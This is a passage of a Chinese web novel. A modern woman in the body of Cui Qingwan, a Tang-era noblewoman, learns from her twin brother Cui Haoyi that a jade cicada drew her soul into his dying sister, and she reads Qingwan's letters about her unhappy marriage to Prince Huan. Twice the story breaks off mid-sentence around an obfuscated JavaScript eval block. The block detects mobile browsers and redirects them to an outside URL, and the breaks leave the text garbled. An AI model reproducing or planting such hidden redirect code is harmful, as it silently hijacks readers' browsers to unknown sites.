那若契机是黑/火/药,用不用考虑黑/火/药的比例?还有爆炸的范围、地点、时辰,以及当天的风向?
不过……万一真是李澈布下的黑/火/药呢?那清婉娘子未免太可怜了。
可不对呀,今日李澈来时分明是有难言之隐……还是说他真的在演戏,只是自己看不穿?
这一切真是,令人费解。
算了,先见着书信再说,想多了都是问题,做了才会有答案。
反正回家要紧,回家要紧啊!
6. 春风拂面
次日清晨,崔宅的游廊道上一道倩影急急掠过——那高耸的抛家髻上插了数把鎏金海棠花纹银钗,一枚硕大的金雀展翅状步摇随着女子的步伐不住摇曳,上半身的竹青色圆领对襟云纹小袖衫尚显利落,可自胸前便垂落的浅杏色团花七破间裙却因为过于宽大华贵而不得不被她提起两侧,脚上一双花纹云锦云头履交错叠行,反倒显得她有失往日柔静美名,匆忙动身之际,她本只描青黛,微点绛唇,颇为素净,可现下走得实在心急,不觉已显酡颜,娇粉的面容活像施了飞霞妆,灵动而脱俗。
能在崔府这般放肆行走,“崔清婉”在心中给自己比了个大拇指,还得是头脑一热才有行动力,要是她三思而行,多半最后只会选择差遣云岫前往崔皓月处索得书信。
不过也亏是云岫,这才能在一大早便听说崔皓月今日原本的行程,因此,她才等不及梳妆完成,拖着一袭华服匆匆赶来。
而在快步行走的“崔清婉”身后,两位身着水绿荼白之色的侍女正半低着头紧紧相随,虽说此次临时起意的行动不过是赶往崔皓月所住的江清院,但侍女中年岁稍小一点的那位,看上去神色颇为紧张。
“四娘!四娘慢些,这不合规矩!云姐姐你快劝劝四娘啊!”
其实也不怪她这般惶恐,她是昨夜刚被拨到“崔清婉”身边的侍女,名唤晴眉,她之前也只是听闻崔四娘的遭遇,实际对于崔四娘本人的性格处事并不是很清楚,今日这一遭,可算是让她开了眼界。
“我已差院中小厮前去告知四郎君,这时虽稍早些,但想必四郎君是准备起身了。”
云岫紧步跟着,微微侧头安抚着身旁的小侍女,在她眼里,只要是现今自家娘子想做的,都应该被成全。
而在前快步行走的“崔清婉”完全没有这般的紧张,虽走得急些,可她还能分心赏赏院内精巧布置的假石流水及吐露新芽的桂树春花,一副怡然自得的神情。
说来也奇怪,明明她没有在崔宅内的任何印象,但当她决定要寻崔皓月时,脑中便对前进的每一步有了强烈的直觉指示。
“我想崔家子弟个个勤学,这个时辰也该起了,总不能女子早起梳妆,男子却在赖床吧?”
身后的小声交谈自然传到“崔清婉”耳中,她略微向后仰了下脑袋,用无关紧要的话题安抚着不安的侍女。
“说起来,这宅子里只有三娘……呃,只有三姐和四弟住着,现今添了我,那不知其余在京的兄长们住在哪儿?”
“崔清婉”顺口发问,脚下的步子却没停下,云岫闻言紧了几步,靠近些回答道。
“大郎君刚得重用时,曾随先皇常居东都,直至新皇登基,方才返回皇都,而因皇室入住永安宫,为距皇宫近些方便上朝,大郎君便也移居到了都城东北,后来也是在那边,为二郎君和三郎君也添置了宅院。不过三郎君一直以杨大娘子身子病弱为由,反而住在距这儿不远的含华巷宅院内。”
“杨大娘子?”
回想起这两日从云岫这儿听到的有关崔家亲友的名字,“崔清婉”转转眼眸,然后便迅速锁定这名号的身份。
“是在说三嫂嫂,杨简仪?她的身子一直不好吗?难怪前日其他嫂嫂来时,不曾见到她来。”
“是,杨大娘子为人乖顺,只是身子向来不好,自与三郎君成婚以来,便一直静养家中,连带家宴什么的也常常免去。”云岫补充道。
“噢,这样,那三哥哥——”
本打算继续问些什么,却不想已然到了崔皓月所住的江清院门前,而自院内传出的一声低喝直接打断了“崔清婉”的话头。
“还有二十个,别拖沓!”
“知道啦——”
“崔清婉”停下脚步,小心看去,只见院门已是大开。
门口早就有小厮候着,一见到“崔清婉”与随行侍女便请安问好,云岫向那小厮点点头,让他退下了。
不知院内搞什么名堂,“崔清婉”原本的热血冲动也冷静了大半,此刻心中突然萌生不想进去的念头,在用“书信”一事努力说服自己勇敢一点后,她深吸一大口气愣是硬着头皮迈步进去。
只见院内搭着类似单杠的架子,而崔皓月穿着绯红色的练功服被倒吊在上面,一张俊脸已是涨红,映得眉心痣更加显眼。
“噢!四姐!见过四姐!”
因那练武的架子正对院落门口,“崔清婉”莲步轻移的婀娜身姿便这样直直撞进崔皓月颠倒的视线中,而对方也是一改方才言语中的不情愿,发出一声短促而欣喜的惊呼。
“四姐今日衣着真是不同往日,简直杳霭流玉,相得益彰啊!”
“四呃——阿月?”
“崔清婉”有些迟疑地回了声招呼,看着对方似乎格外惊喜的神色,一时有些发懵。
这是个什么情况?
实话讲,经由那晚上的对峙,自己回想起来都觉得有丝尴尬,怎么崔皓月能像个没事人似的这般热情?莫不是他真的相信了自己是失忆的崔家四娘子?
也不是说相信了不好,但日后解释起来肯定会有些麻烦吧?
除非真的解释不了,自己真的变成了崔清婉……
啊不行!这个问题真的不能多想!一旦让自己大脑意识到有回不去的可能性,就觉得恶心想吐喘不过气来。
“嗯?阿婉来了,怎么不多睡会儿?身子可好些了?”
突来的询问让陷入情绪内耗的“崔清婉”一怔,她克制住自己对于最坏结局的想象,忙着转头去寻找话音源头。
朝晖倾洒下,花木环簇间,只见一张古朴长弓与一柄精致仪刀交叠着依在银色头盔旁,一并堆放在院中的石桌上,而它们的主人仍身着羽林军银甲,彷如一柄傲立在沙场之上的银枪,身姿挺拔,甚是威武。
随着他向“崔清婉”的方向走来,银甲碰撞之音铮铮作响,粼粼之光,颇为耀眼,“崔清婉”眯了眯眼睛,想要在反光中辨清来人模样。
乌皮六合靴踏地,那金边银甲自带属于军人的风尘,不似李澈周身的奢华高贵之气,这位站如青松的男子只是很规矩地束着一头墨色发丝,看上去利落内敛,偶有碎发散在耳鬓,想必是在解下头盔里用作内衬的幞头时不小心弄散的。
再仔细看去,那墨眉之下,他高挺的鼻梁左侧浅浅点有一痣,薄唇线条分明,又透着气血充足的红润光泽。但他的肤色算不得白皙,应是偏小麦色的活力与健康,这倒与覆身的银甲很是相衬。
令人难以忽视的,是他过于宽大充盈的臂弯与胸膛,即便是外行人瞧见,也会由衷感慨一声:猿背蜂腰,此人射艺定是卓尔不群。
不过说来奇怪,明明是与自己现今这副身体极为相似的面容,带给人的却完全不同的感受,如果说崔清婉的长相是纤弱文静的柔美,那对方就是俊朗坚毅的沉稳。
尤其是那一双眼睛,更为他清湛的气场增添了一丝若有若无的亲近感。
翦水秋瞳,大抵只有晚秋深山里冲破雾气泠泠作响的清泉才配得上这么形容。
可这样一双精巧的眸子,此刻却不显半分锐利张扬,反而有一抹晕不开的哀愁沉在深处,让人记挂不已。
崔……皓羿……
心中闪过眼前人的名字,“崔清婉”端详的目光仍旧停留在对方脸上。
他不似自己想象的那样,却又没有太过偏离。
崔皓羿,崔家三郎,崔清婉的双生兄长。
双生,有些话不用明说便能了解。
他本是亲勋翊卫羽林中郎将,负责皇城的守卫与巡查,身居要职,不可轻易请假,也因此,在前日缺席了对“崔清婉”的探望。
“崔清婉”看着对方的装扮,心中便猜了个七七八八,崔皓羿应是刚当值完便跑来老宅想要探望,又因时候太早,怕扰了自己休息,这才先来崔皓月院子中“消遣”一番。
她侧过目光瞥了崔皓月一眼,却发现对方在自己怔愣之际极快完成锻炼,一个空翻便跃落至地。
“见过三哥哥。”
先不顾落地后在拉伸身体的崔皓月,“崔清婉”瞧过一眼便收回目光,随后身子倒是比脑子快了几分,仿着这两日所见屈身行礼。
“听兄长们说三哥哥近日都在值宿,白日里巡查任务又重,今儿怎么有空回来?而且三哥哥回来后怎么不好好休息,一大早在阿月这里劳心什么?”
“崔清婉”自问自己的说辞并无差错,但她还是敏锐地察觉到,在自己言语后,崔皓羿很轻微地倒吸了口气。可抬眼看去,对方清俊面庞上仍挂着关切笑意,除了眸中那抹哀愁,倒显不出其他古怪。
“对对对,四姐可算说到关键上了,三哥真是不爱惜自己,非要一大
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14877272|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
早操心个没完,要我说,三哥还是快回自己院子,歇一歇才是正道。”
崔皓月听到自家四姐的言语,忙不迭凑近半步,催促着崔皓羿离开。
“打拳、练刀,各来三遍。”
“嘁。”
崔皓羿没搭理崔皓月的催促,只是垂下眸子淡淡吩咐一声,在崔皓月撇着嘴不情愿地走开后,他才抬眼看向“崔清婉”,一开口便是温柔。
“值宿已然结束,尚有三两日的休息时间,我自然要回来看看阿婉。只是不想一回来便看到阿月还歇着,竟误了早功,这才督促他起来练功。阿婉问我为何回来,莫不是在怪阿兄前日未告假请回?若是如此,阿兄向阿婉赔罪,但请阿婉原谅阿兄。”
“哪里哪里!”
见对方竟要抱拳请罪,“崔清婉”吓得一激灵,忙着搀扶一下。
谁知崔皓羿也不过一个虚礼,被搀扶后眸中闪过一丝打量意味,“崔清婉”一愣,只能勉强回以一笑含糊过去。
见状,崔皓羿也是嘴角噙笑,神色舒缓,但他眸中哀愁不减分毫,似在回忆,又似在斟酌。
“为兄本想劝阿婉回屋再多休息,但想了想又觉得,阿婉自出事后便卧床休养,这些日子想必阿婉也是躺够了,若阿兄再多嘴,只怕阿婉也要说我唠叨了。”
“嗯……哪里……哪里……”
崔皓羿出言便是礼貌客套,可不论哪句话都让“崔清婉”觉得头痛,实在不知道该接什么。且对方眸中的哀愁,实在让人很在意,但“崔清婉”又不愿对上他的目光,只能偏开视线,向四周扫看了几眼。
“今天是个日丽风清的好天气……”
刚说一句,“崔清婉”就想回档重来,真的就是找不到话题只能说天气了吗?太生硬了这个开头,啊,没办法,正事要紧,正事要紧。
“想来三哥哥与阿月在早膳后还会有其他安排,就请恕我无礼,先办了我的正事吧。”
“阿婉有事不妨直言,需要为兄做什么也尽管开口。”崔皓羿抬手,一副宽和耐心的样子。
“不不不……”
面对崔皓羿的贴心话语,“崔清婉”轻轻摇了摇脑袋,那发髻上的金雀步摇在阳光的照耀下微微颤动,一如她小心谨慎的言辞,她半侧身子,对着不远处打拳的崔皓月缓声说道。
“阿月,三姐许我来向你索要书信,并说是她的主意,但不知书信被你收在何处,能否差人为我寻来?”
一旁打拳的崔皓月听到问话,忙着想要回答,只是练功时气息一贯而成,这半途的插话多少有些紊乱气息。
“三姐的……呼,三姐的主意?”
“三姐心疼我,说我与桓王之间应当有个决断,只是不能稀里糊涂地来,她希望我了解往事后自己做决定,而不是一直躲在兄长们庇护下。”
言语解释间,“崔清婉”瞄见身旁崔皓羿似若有所思,转念一想,便换了后半句话的说辞。
“且三姐还说,多谢你为我留存书信,日后若是有机会,她会筹办盛大宴会好好答谢你。”
“宴会?!那岂不是——”
崔皓月额前碎发已被汗水沾湿,那一套勇猛的拳法打得是虎虎生威,,但此刻听到“宴会”二字,他手脚动作肉眼可见地变得滞缓,气息也因着想要反抗而急促起来。
“若是说出事前带出王府的书信,”本在一旁沉默的崔皓羿突地出声打断欲要挣扎言语的崔皓月,对着一脸认真的“崔清婉”说道,“那书信我也知晓放在何处,不如阿婉随我去取,阿月的早功尚未结束,可别给了他懈怠的理由。”
“嗯?哦!”
虽说能得到书信就好,不管是谁取来的,但“崔清婉”还是瞟了两眼明明想要辩白却仍未停下动作的崔皓月,心下略一思考,随后对着崔皓羿点点头。
“好,那就劳烦三哥哥了。”
“早功结束后不可贪凉,在院内走上三柱香时间再喝茶水。”
得到答复,崔皓羿对着崔皓月的方向嘱咐一句,随即又回头看向“崔清婉”,满是温和。
“阿婉随我这边来。”
“噢噢。”
“崔清婉”眨眨眼,乖巧地跟着崔皓羿向西侧的屋内走去,而背后属于崔皓月的声音却越发难以置信。
“还走三炷香?啊?没必要吧!三哥——”
7. 借魂
当崔皓羿将侍从以“四弟不喜他人随意进入书房”为借口留在屋外时,“崔清婉”就知道,事情没那么简单。
随着“吱呀”一声,崔皓羿关上了屋门。
若说方才的哀愁只沉在崔皓羿的眼底,那此刻,“崔清婉”能清楚察觉到这份哀愁弥散到整间屋子,而面前这个高挑背影更是在在进屋后便凝重得让人不适。
盯着崔皓羿颓然的背影,“崔清婉”思量着缓缓开口。
“三哥哥,不知书信在何处?”
无人应答,崔皓羿的头颅微微低垂,似乎在盯着门窗走神。
略一沉吟,“崔清婉”再次开口。
“三哥——”
“抱歉,是我失礼了。”
崔皓羿像是终于回过神,他转过身来,清俊的面上露出一丝为难,饱含歉意的苦笑更让眼底的哀愁浓烈。
“这话,真见外,”面对崔皓羿让人不解的情绪,“崔清婉”开口也很是迟疑,言语中满是试探,“三哥哥带我来不是要取书信吗?如今是在忧心何事?”
“忧心何事……”
崔皓羿眉宇间显露的为难更重,他踱着脚步向屋里侧走去,短暂的沉默后,他停在了书案一侧,他看向“崔清婉”,开口间竟又添上几分愧疚。
“阿月向我交代了那晚的事,我想娘子一定疑惑阿月的举动,故而约下娘子在此一谈。”
听到此言,“崔清婉”很敏锐地捕捉到对方对自己称呼上的变化,不再是“阿婉”,而是“娘子”。
在他眼中,自己似乎是一个独立个体。
莫非……他知道事情的来龙去脉,知道自己的真实身份?
“崔清婉”转了转眸子,不肯言语,此时情景,以静制动方为上策。
事实也确如她所料,短暂的沉默终究引得崔皓羿再次主动开口。
“我知娘子机敏沉稳,还请娘子先坐下,听我细细说来。”
崔皓羿作了个请让的手势,见“崔清婉”顺下衣裙虚坐在圈椅上后,在歉笑的遮掩下缓缓移开目光。
“阿月试探,或许确实因为对娘子的身份心存疑虑,但实际上还是兄长们授意所为。毕竟事关朝政,阿月知之甚少,他甚至不了解兄长们早就知晓阿婉定会遭此劫难。”
“而之所以兄长们让阿月行了这般举动,不过是为了看看娘子与往日阿婉可还一致,因为阿婉是这场计划中不可或缺的一环,起码,是一个最合适的傀儡。”
“用傀儡来形容自己的胞妹,娘子一定觉得我崔家凉薄,但我不会为此辩解什么。”
“我们崔家,向来如此。”
言语时,崔皓羿一直低着脑袋捣鼓书案上立着的笔架,或许这样的行为该被解读为不专注的失礼,可“崔清婉”并没有因此生出半点气恼。
大抵是先前对方眸中的哀愁过于浓郁,也许是此刻对方言辞中的自嘲尤为悲凉,总之“崔清婉”倒是意外地能体谅他避免对视的心情。
“随行人马都因所谓的雷击而当场殒命,我的胞妹又怎会幸免于难?到场之人不乏灵敏心细者,何故唯有阿月嗅到硝石味?倘若真有神迹显现,那为何单单降临到阿婉之身?”
“娘子,自你醒后,一定也产生了这些疑问吧。”
说到最后,崔皓羿停下拨弄调整笔杆的动作,颦起眉头向“崔清婉”看去,他本清亮的眸中此刻满是黯然,面上也显挣扎之色。
“一切偶然都是必然,越是疑点重重,背后的原因想必越是明确笃定。”
淡然看向崔皓羿,“崔清婉”以一句简洁明了的话戳破了对方想要引导自己思考的方向。
噢!这该死的哲学魅力!
虽然不知道崔皓羿接下来要揭露怎样的故事隐情,但在这种时候能装一下,“崔清婉”还是心里给自己比了个大拇指。
现代生活的经历让她很早就明白一个道理,那就是虚张声势绝对很有必要。
一定程度的虚张声势可以赢得他人的信任与重用,自然,虚张声势的后果是加倍努力去提升自己的能力,让虚张声势变成确切的实力,说到底,这就是一种能力预支的人生技巧。
很显然,“崔清婉”的能力预支在此时起到了效果,崔皓羿原本黯然的眸中闪过一丝惊异,语气也振作了几分。
“娘子真知灼见令羿汗颜,娘子所言不错,此事并非飞来横祸,而是与我有关。换言之,此等异象,是借由我手所做。”
“哈?!什么?!”
高手形象还没完全树立起来就被破了功,“崔清婉”陡然瞪大眼睛,只留一脸惊愕。
“所以真的是炸药?而且还是你布下的?你害死了自己的亲妹妹?”
“不!这怎会?阿婉是我的胞妹,哪有人会将自己的胞妹——”
崔皓羿忙着摇头否认,却在说到一半时怔住,他那双黯然的眸子又低落了几分,脸上的哀伤竟让“崔清婉”生出一丝莫名的愧疚。
“我是说,娘子魂附异体一事,是我做的。”
“啊?”
像是憋屈了多日的本性,“崔清婉”终于为穿越这件荒唐事惊呼了一次。
“崔郎呃——不!崔……崔高人!崔大师!布置炸药这种听上去就可行的事,你说不是你做的,而引魂入体这么离谱的事,你却说是你干的?假设你没有唬我,那求你!我真的求你!快放我回去吧!如果你真有什么必须我来做的,求你放我回去做个方案策划再来好不好!求你了!拜托!!”
坐在圈椅上的“崔清婉”忽地双目轻闭,合十的双手抵在面前,虔诚地对着崔皓羿拜了又拜。
从淡然到吃惊,“崔清婉”的情绪变化可谓是天差地别,崔皓羿也是一愣,他狐疑地打量了眼前人几眼,这陌生的神态举止仿佛让他熟悉的胞妹模样也变更了不少。
还好不过须臾,崔皓羿便正了正神色,他提吸一口气,绕过书案走到闭目敬拜的“崔清婉”身前,然后又规规矩矩地作了一揖。
“娘子想来误会我了,我没有那样通天的本事,这不过是一场机遇,才造就了今天的局面。若娘子暂不怪罪,还请允我为娘子解释一番。”
听到声音从自己身边传来,“崔清婉”小心翼翼地睁开眼,偷看了对方一眼后,再度摇了摇合十的双手拜着回礼。
“大师请说,大师请说。”
崔皓羿直起身来,苦笑着摇摇头,随后收回目光转而看向半掩的窗外。
实话讲,他也掂量不准这场会面正确与否。
这缕附在自己胞妹身上的魂体,是该说她乐观豁达,还是说她生性迟钝?她听了方才的话,为何没有对自己发怒?哪怕是无措垂泪,或者缠闹摔打呢,怎么一样都没有?
自己假设过无数种应对话语,但她竟以一种自己从未设想过的态度来应对,难道她当真不了解此事的严重性?可看她神色灵动、言辞洒脱,也不该是实心窍啊……
“娘子以家妹身份醒来,我本该当日便告假探望,但我心生胆怯,实在不知如何面对娘子,”崔皓羿垂下眼帘,语气中透着迟疑,“我说此事为我所做,乃是因为此般奇缘皆来自我少时外出历练时获赠之物——一枚玉蝉,而这枚玉蝉便是将娘子魂体借到我胞妹身上的宝物。”
“等等,‘借’?不征求意见也叫借吗?这分明就是强买强卖……”
听到崔皓羿的用词,“崔清婉”忍不住翻了个白眼,不过吐槽的话还没说完,她忽地反应过来对方在说什么。
“欸?不对!什么东西?玉蝉?你是说——死人嘴里含着的那个?”
“崔清婉”拧着眉头瞪大眼睛,不由自主地用舌尖顶了顶口腔内部,一时间满脸复杂。
“是,‘蝉,蜕于浊秽,以浮游尘埃之外,不获世之污垢’,玉蝉为君子配饰之物,但也确如娘子所想,会被当作死者葬玉。”崔皓羿点点头,肯定了她的疑问。
“那……我再合理推测一下,该不会,这玩意儿也塞进我嘴里了吧?”
“娘子聪慧。”
得到对方肯定答复后,“崔清婉”眯着眼睛向后梗了梗脖子,面上的复杂之色更甚。
即便已经过去了很多天,她也在醒后好好漱过口,但此刻还是觉得嘴里怎么都不得劲,也不是说忌讳什么,毕竟崔皓羿塞到自己口中的玉蝉大概率也不是出土文物,可她只要想到自己嘴里被塞过不是食物的玩意儿,就心里膈应啊,是真膈应。
然而,她脸上的复杂情绪还没被崔皓羿接收到,紧接着的话语就更让她绝望。
“实不相瞒,阿婉那夜命垂一线,几近死亡,我也是在焦急之中忽地想到昔日获赠玉蝉时真人所说‘此乃峰回路转、扭转乾坤之秘宝’,故而来不及思索便将怀中的玉蝉取出,就着衣物的遮掩将其塞到阿婉口中。”
“那是一须臾的微光,不曾吸引到其他人注意,待我再看时,阿婉口中的玉蝉已消失不见,就像是化在阿婉体内一般。”
“也是在这时,阿婉的身体忽地换了口气,看上去已有了生机。”
虽然“崔清婉”此刻很想接一句“大概我的魂那时就被强借来了”,但她实在没心情打岔。
当得知玉蝉化在嘴里的那刻,她就不自觉地内视这具身体,她似乎能幻觉到有什么东西从口腔滑到咽喉,再顺着食道溜到胃里,就像是小时候看武侠小说中主人公因奇遇吞食林中毒虫时,自己也觉得胃部隐隐作呕,总之就是心理上很不舒服。
坦白说,这身体是崔清婉原身的不假,自己的灵魂只是被迫停留在这里。可没办法,感觉的内容和对象是客观的,但感觉的形式和表现是主观的啊,这种嘴里被塞了不干净东西的膈应是真要命啊。
“娘子?”
崔皓羿的呼唤传来,“崔清婉”这才从自己的纠结中回过神来,她抬起脸卡着一张勉强的笑容向崔皓羿看去,懂眼色如她,她可不会直愣愣问对方玉蝉干净不干净,她只会先略过不紧要的事,然后赞同般地眨眨眼睛鼓励对方继续说下去。
“嗯……娘子大概也明白,玉蝉消失之时便是娘子魂体便被唤来之际,”接收到“崔清婉”眼神的崔皓羿一怔,思考一瞬便继续说道,“当时我并不知晓其中缘故,还是在阿婉身体恢复期间,我收到来自真人的一封书信,才知道其中的牵连。”
“书信?”
关键词说出,“崔清婉”有种被点醒的顿悟感,她突地想起自己今天前来也是为了寻得书信。
啊,果然,崔皓羿透露的信息太过密集,自己简直像被轰炸了,差点忘记原本目的,这可不兴忘,一会儿务必要出书信,绝对不能遗漏了!
“是,想必真人是感应到什么,这才如此适时地寄来书信。”
崔皓羿拊掌推断,面上却是凝重,他似乎也在思量这位真人的目的所在。
这样的神情被“崔清婉”瞧了去,心下一动,她意识到也许崔皓羿与这位真人并没有很紧密且熟络的过往,玉蝉,或许对崔皓羿而言,也算是意外之物。
“真人在书信中言明,说当日赠予我的玉蝉,能行‘起死回生’之术,但并非真的逆转生死,而是以魂养魂,救人于濒危之刻。”
“以魂养魂?难道你是说……这副身体的主人,也就是你的妹妹,崔清婉,她还活着?”
“崔清婉”缓缓说道,语气似乎还算平静,但她的眉头却是越皱越深,面色凝重之下,是她藏在袖间紧握的双拳,那略长的指甲简直要嵌进肉里面去。
原以为这副身体的主人已经死去,自己是莫名穿越而来,只要自己寻到方法回去,那这副身体再度归于死亡也是应该;可现在的情况却变成了这副身体的主人还算活着,而自己被架着过来,然后被告知自己是能拯救她的人。
这算什么?道德绑架吗?自己一定要被卷进这样陌生而复杂的事件中吗?有人问过自己的意愿吗?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14877273|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心中隐隐升起怒火,“崔清婉”正欲发作,却在抬眼时看到崔皓羿那双澄澈而哀伤的眸子,一下子又心软起来。
是想怪他,是想冲他发火,可他也不是刻意算计,此刻自己责怪又有什么用?
不如先搞清楚如何从这样的困境中脱身,至于责备,视他态度再做决定。
一时间,“崔清婉”面色变了又变,见她欲言又止、欲止又言的神情,崔皓羿放低声音接过话来。
“是,因娘子庇佑,阿婉现在还活着。但我也知晓,我的无心之举给娘子造成了极大困扰,这是我的过错,所以不论娘子提出什么补偿条件,只要我能做到的,我一定照办。但请娘子再委屈些日子,救阿婉一命。”
说着,崔皓羿对她深深作了一揖,真挚又恳切的模样简直让人不忍苛责。
见状,“崔清婉”沉默良久,终是叹了口气,一副接受了的模样。
“我虽是莫名其妙到这副身体上来,但作为亲历者,我也切身体会过因见桓王而落泪的苦涩,或许那便是清婉娘子孱弱魂体还存在的证明,我既能感受的到,又怎么可能见死不救?算了,就先这样吧。”
“多谢娘子大德。”
听罢“崔清婉”的应答,崔皓羿终于如释重负地松了口气,带着感激之色直起腰来,只是回复时不免声音沉闷,想来即便有对方的应允,他也止不住心底的愧意吧。
“既说到此处,我也不必藏着掖着,能救人一命我自是乐意,但我还是要搞清楚,那书信中有没有提到‘养魂’需要多长时间?你看,我魂体在这儿,那我原来的身子也挺令人担心的不是吗?若我自己的身体不吃不喝很久,怕也会出事。清婉娘子的遭遇固然令人同情,可我也不能全然不顾自己的安危吧?”
既然自己是救人方,那就没必要小心翼翼生怕惹了对方,“崔清婉”盯看向对方,说起话来果断而认真。
“娘子所言极是,只是真人并未提及养魂所需时日,但我已遣人寻找真人,想必过些日子便有消息。至于娘子安危,娘子愿救阿婉,合该是我崔家千恩万谢,请娘子将身份籍贯尽都告知,我一定妥善安排,若还有其他要求,也请娘子一并说来,这也算是我能为娘子实现的一丁点儿谢礼。”
“说实话,做好事不求回报是应该的,但你硬要给,我自然也不会说我不想要,只是很可惜——”
“崔清婉”讪讪一笑,有些无奈。
“可惜?”
“可惜,我实在记不得自己身份,连名字也记不得了,这谢礼只能暂存在你这儿了。”
“不记得身份名字?难道借魂竟伤害娘子至此?”
崔皓羿的眸子倏地划过一丝诧异,随即又是皱起眉头,面上的歉意更浓。
“那娘子可还对自己的家乡有所印象?或者特产习俗?只要娘子提供得了丝毫线索,羿一定竭力而为,尽早寻到娘子的身体,将一切安排妥当。”
除非你的属下能研制出时光机,不然我觉得挺难。
唉,该怎么说,直接说我是其他时空来的?他会不会理解不了,解释起来又好麻烦……
不如假装自己是异域人,最后“事了拂衣去,深藏身与名”?
在心底默默吐槽几句,“崔清婉”面上不露端倪,她垂下眸子略一沉吟,而后起身走到崔皓羿身边缓缓开口。
“具体我也记不起来,想来与这儿有些距离,我只是隐隐记得,我们那儿不像这都城里规矩多,人们过得也更自在些。”
因有所隐瞒,所以“崔清婉”也不敢多言,生怕对方意识到自己不属于这个年代的人,她偷偷瞥了崔皓羿一眼,瞧他若有所思的样子,又心安起来。
“寻我家乡的事可暂缓缓,我隐约记得我与亲友同住,虽事出突然,但大抵能得他们照料;至于名字,我确实苦恼,但我认为当我魂归原处时,便能记起自己的名字。所以,当务之急,还是希望你尽快找到真人,了解这养魂需要多久,以及魂归之法。”
“是,羿明白,”崔皓羿向外眺看一眼,未见异状,于是很快又收回目光,“至于寻找真人一事,羿定不负娘子所望,在此期间,还劳烦娘子继续以阿婉身份度日,以免再生事端。”
“这是自然,你愿意尽力弥补,我当然应该好好配合,毕竟我到此地是你的无心之举,若我只会一昧地埋怨你,那才是真正的无用功。”
“崔清婉”浅浅一笑,维持得体模样,她心中对今天的意外收获还算满意,正当她觉得大功告成可以离开时,突地想起之前自己叮嘱自己的事。
“说到书信,不知清婉娘子的书信可在这里?你也说我还有段日子需要扮作清婉娘子,我想稍微了解一下她的过往,可以吗?”
“当然,让娘子委屈在阿婉体内还滋养着阿婉的魂体,娘子有十足的理由去了解阿婉的过往,且实不相瞒,不论养魂所需日子长短,近期娘子要面临的应酬怕是不少,羿也希望娘子能在一些不得已的场合下,替阿婉做出最恰当的选择。”
崔皓羿拱手作揖,态度很是诚恳,这对于寻到回家线索的“崔清婉”很是受用,她摆了摆手,言语温和。
“我尽力而为,至于过于重大的决定,还是等清婉娘子自己来解决吧。”
“那就借娘子吉言。”
语罢,崔皓羿的愧疚神色有所缓减,但眸底哀意仍在,“崔清婉”觉得似乎有什么地方不对,但一时又想不起来。
思绪繁杂间,她看见崔皓羿再次绕步到书案前,摆弄起架子上的几支毫笔,终是过了一会儿,那些毫笔自摆动到轻颤,最终停止。
然后听得“咔”地一声,随即书案响动。
“崔清婉”循声看去,只见书案下方的地砖上开了一个暗格,随着崔皓羿弯身再起,她面前多了个被对方递来的精美匣子——拉拽开其中的小屉子,三五封书信赫然在内。
“书信在此,娘子请阅。”
8. 虚与实
“婚四年,争斗甚众,然未想母族竟被夫家相持而起”
“桓王为夫,我为妇,本应伉俪情深、风雨同舟,安知岁月如冰雨,竟亦一洗昔恩深厚”
“王府中侍妾乱多,无缘生养而令吾心灰,岂非相苦哉!若既发,无可挽回,则不知桓王之与我不同忆昔日恩爱哉”
“三姊明达,朝知婚姻之烦,反安其一生”
“吾乃不可诉屈者,书其为宽解之意”
在崔皓羿沉重的目光中,“崔清婉”接过了小匣子。
说实话,匣内的书信并不厚重,只有单薄的几页纸,然而在这几页纸上,她清楚地看到了崔清婉原身的压抑与绝望。
婚姻内的琐碎、崔家与桓王势力的对峙、妻妾相处之间的芥蒂……
明明二十多岁的灿烂年华,怎么就在这淤泥中枯萎腐烂?
她方才还在庆幸自己轻易便找到回去的线索,接下来只要假装一段时间的崔清婉,就能等到真人前来以获得还魂之法。
可,当她看到这几封书信,她突地多了几丝不忍与愤懑。
这种时候应该有人骂她一句“别多管闲事”,也应该有人将她拉到一旁然后劝她“千万不要给自己惹一身麻烦”。
但她只身一魂独在,没有人劝阻她,于是,那不受控制的悲悯便占了上风。
她本就因为来时那众多仆人的死亡而感到怅惘,此刻拿着这几张字字恳切的书信,她心中的怜惜更加厚重。
不知怎么解释,她只是觉得从她拿到书信时起,她对崔清婉原身就有了一种难以言喻的责任感与正义感。
捏着书信的“崔清婉”颦蹙起眉头,她紧了紧牙关,再次审视了一遍手中展开的信件,确保自己没漏掉一个细节信息。
“清婉娘子……”
喃喃念出写信人的名字,“崔清婉”顿了顿,没有再说出其他的话。
明明她手中捏的是纸张,可她却觉得像是捏拿了这个时代一名女子的命运。达官显贵家的女儿尚且如此,真不知寻常人家的女子又受到怎样的磋磨。
“娘子良善,见此书信,想必也为阿婉感到难过。”
隔着书案对站的崔皓羿见“崔清婉”阅完书信,蓦地开口。
“难过啊……”
“崔清婉”黯然一笑,脸上满是苦涩。
“很抱歉我笨嘴拙舌,不太会说安慰人的话,若是可以,我真希望我没有读过这些书信。作为一个并不彻底的旁观者,我感到的是难以排解的郁闷,加上苏醒后我自己的所见所闻,我只觉得清婉娘子的遭遇太过悲剧。”
“那依娘子的所见所闻,阿婉今日之祸该是谁造成的呢?”
崔皓羿紧盯着因书信而面露哀伤的“崔清婉”,他冷静地等待回话,对方的措辞显然让他升起几分意料之外的期望。
